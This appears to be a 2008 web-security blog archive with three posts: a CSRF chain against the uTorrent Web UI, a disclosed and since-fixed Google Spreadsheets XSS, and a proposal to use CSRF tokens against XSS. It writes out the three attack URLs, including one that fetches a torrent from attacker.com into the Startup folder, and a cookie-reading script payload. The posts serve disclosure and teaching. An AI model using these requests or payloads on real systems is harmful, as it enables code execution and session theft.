Archive for the 'Web Application Security' Category
Monday, April 21st, 2008
CSRF pwns your box?!?!
Before going talking about an interesting set of CSRF vulnerabilities that were released this weekend, I did want to take a few moments to do some “housekeeping” on the recent spreadsheets.google.com XSS. (1) I gave the Google Security Team the details for this particular issue well before talking about it on my blog. (2) The described issue was fixed by the GST before I even considered publically speaking about the vuln. (3) Part of the vulnerability involved a caching flaw in Google’s servers, this issue is specific to Google and it was also fixed… OK, on to the good stuff…
A few weeks ago, Rob Carter told me about a few interesting CSRF vulnerabilities that he discovered in a uTorrent plugin (he publicly disclosed them this weekend). Rob was able to chain together the CSRF vulnerabilities and the net result is complete compromise of the victim’s machine! I think this may be the first PURE CSRF vulnerability that I’ve seen that resulted in compromise of a victims machine (there is an argument amongst some of my colleagues as to whether protocol handling/URI vulnerabilities are actually a form of CSRF, but that’s another story). The series of vulnerabilities basically follow this flow:
When a user installs the uTorrent Web UI plugin. the plugin essentially starts a locally running web server on your machine (in order to serve the Web UI). Rob targets the CSRF vulnerabilities associated with this locally running web server.
- Rob uses a first CSRF to turn on the “Move completed downloads” option on the uTorrent Web UI. The CSRF looks something like this:
http://localhost:14774/gui/?action=setsetting&s=dir_completed_download_flag&v=1
- Once Rob has “turned on” the “Move completed downloads” functionality, he uses a second CSRF to change the path of where the completed torrent download is placed. In the example he gives, he forces the uTorrent plugin to move completed torrent downloads to the Windows startup folder. This CSRF looks something like this:
http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup
- The last step in Rob’s example forces the victim to download a torrent which points to an attacker controlled bat file. Once the file is downloaded, uTorrent places the files into the victim’s startup folder (thanks to the first two CSRFs). This CSRF looks something like this:
http://localhost:14774/gui/?action=add-url&s=http://www.attacker.com/file.torrent
Once the file is placed, the next time the user restarts their machine, the attacker controlled file will be run… there you have it… compromise of a victim’s system through three CSRFs! Scary stuff… you can read more about the issue on Robs Blog <robs blog>.
Monday, April 14th, 2008
Google XSS
Now, normally when I find an XSS vulnerability on a popular domain I just report it to the appropriate security team and move on, but this one is interesting…
By taking advantage of the content-type returned by spreadsheets.google.com (and a caching flaw on the part of Google), I was able to pull off a full blown XSS against the google.com domain. For those of you who don’t understand what this means, allow me to elaborate. When Google sets their cookie, it is valid for all of their sub domains. So, when you log into gmail (mail.google.com), your gmail cookie is actually valid for code.google.com, docs.google.com, spreadsheets.google.com…and so on. If someone (like me) finds an XSS vulnerability in any one of these sub domains, I’ll be able to hijack your session and access any google service as if I were you.
So, in this instance, I have an XSS on spreadsheets.google.com. With this single XSS, I can read your Gmail, backdoor your source code (code.google.com), steal all your Google Docs, and basically do whatever I want on Google as if I were you! Google’s use of “document.domain=” also make things a little easier to jump from one domain to the next, but that’s another story…
This particular XSS takes advantage of how Internet Explorer determines the content type of the HTTP response being returned by the server. Most would think that explicitly setting the content-type to something that isn’t supposed to be rendered by the browser would easily solve this issue, but it does not. IE isn’t the only browser that will ignore the content-type header in certain circumstances, Firefox, Opera, and Safari will ignore the content-type header as well (in certain circumstances). Security professionals and more importantly developers need to understand the nuances of how the popular web browsers handle various content-type headers, otherwise they may put their web application at risk of XSS. The most comprehensive paper I’ve seen on the subject was written by Blake Frantz of Leviathan. The paper can be found here. It’s a “MUST HAVE” reference for web app security pros. Read it, understand it, protect yourself appropriately or expect others to exploit appropriately…
In this issue, Google set the content-type header for a response which I controlled the content to text/plain. If I can inject what looks like HTML into the first few bytes of the response, I’ll be able to “trick” Internet Explorer into rendering the content as HTML. Luckily for me, I was able to do just that.
I created a spreadsheet on spreadsheets.google.com and for the first cell (A1) I put the following content: “<HTML><body><script>alert(document.cookie)</script></body></HTML>”
I then saved the spreadsheet and generated a link for the spreadsheet to be served as a CSV.
When this option is selected, the contents of the spreadsheet are displayed inline (the content-disposition header was not explicitly set to “attachment”), IE ignores the content-type header, sniffs the content-type from the response, then proceeds to render the response as if it were HTML. At this point, I control the entire HTML being rendered under an xxx.google.com domain.
To be fair, Google included a subtle defense to protect against content-type sniffing (padding the response), but those protection measures failed (with a little prodding by me). The issue is fixed, but if you try to reproduce this issue, you’ll see their defense in play. It a solid defense which shows they understand the nuances of content-type sniffing.
I’ll provide some tips on taking ownership of untrusted content and serving it from your server in a later post, but for now take a look at the paper written by Blake Frantz. I’m sure it will open some eyes…
Wednesday, March 19th, 2008
Preventing XSS Exploitation with CSRF Tokens?!?!
A colleague and I were tossing around the idea of preventing XSS Exploitation with CSRF tokens. Now, before people start going “high and right” on me…hear me out… I DID NOT say “prevent XSS” with CSRF tokens, I said prevent “XSS Exploitation” with CSRF tokens. This discussion arose after someone presented me with the following scenario (this same scenario has been presented to me many, many times… typically at a bar after a few drinks):
You come into an organization and take over the application security department because the old security person left/was fired/was arrested/whatever. You take a look at the 10 million line flagship application and realize that its riddled with XSS holes, yet you don’t have the resources/time/cojo’s to fix all the exposures. What do you do?
This scenario is usually followed up by a pitch to sell me on some Web Application Firewall product….. I’ll put my thoughts on WAFs aside for a second… and I’ll try to get to the underlying issue of the scenario presented above: You need to do something to stop your customers from getting XSSd, you don’t have much time, you don’t have many resources and there is a ton of code to go through.
Now, what if you required CSRF tokens/canaries for every request? This doesn’t “fix” the XSS exposures, but it makes it a LOT more difficult to exploit (unless you want to exploit yourself). The CSRF tokens effectively prevent an attacker from sending the XSS to anyone else. Considering many token/canary values are implemented at the framework level, in most cases it would require a configuration change for the application. Now, once every page is protected by the canary, you can systematically examine the “high priority” pages or pages where canaries don’t make sense and remove the canary requirement after that particular page/functionality has gone through a review. In order to prevent the attacker from sending their own canary value, the CSRF token would have to be tied to the current users session (most good implementations do this anyway).
Now, once again, this DOES NOT FIX XSS, it just makes exploitation harder. This isn’t a new concept, in fact this same type of approach is being used by modern day operating systems. Take buffer overflows for example, protections like DEP, ASLR, Stackguard, GS flag… these protections do not prevent developers from writing buffer overflows and they do not “fix” buffer overflows… they do make exploiting buffer overflows a lot more difficult (unless you’re a Litchfield brother, HD Moore, or Alexander Sotirov).
Now, of course there are some cons to this strategy… First, the XSS exposures are not fixed (the WAFs don’t fix them either). This doesn’t protect against persistent XSS. There will be some performance hits to your web server when you have canaries for each request. This will NOT help you defend against injection attacks like SQL Injection or Command injection, that will require an audit… on the flip side… if you’re relying solely on a WAF to protect you against SQLi and Command Injection, I’d be worried…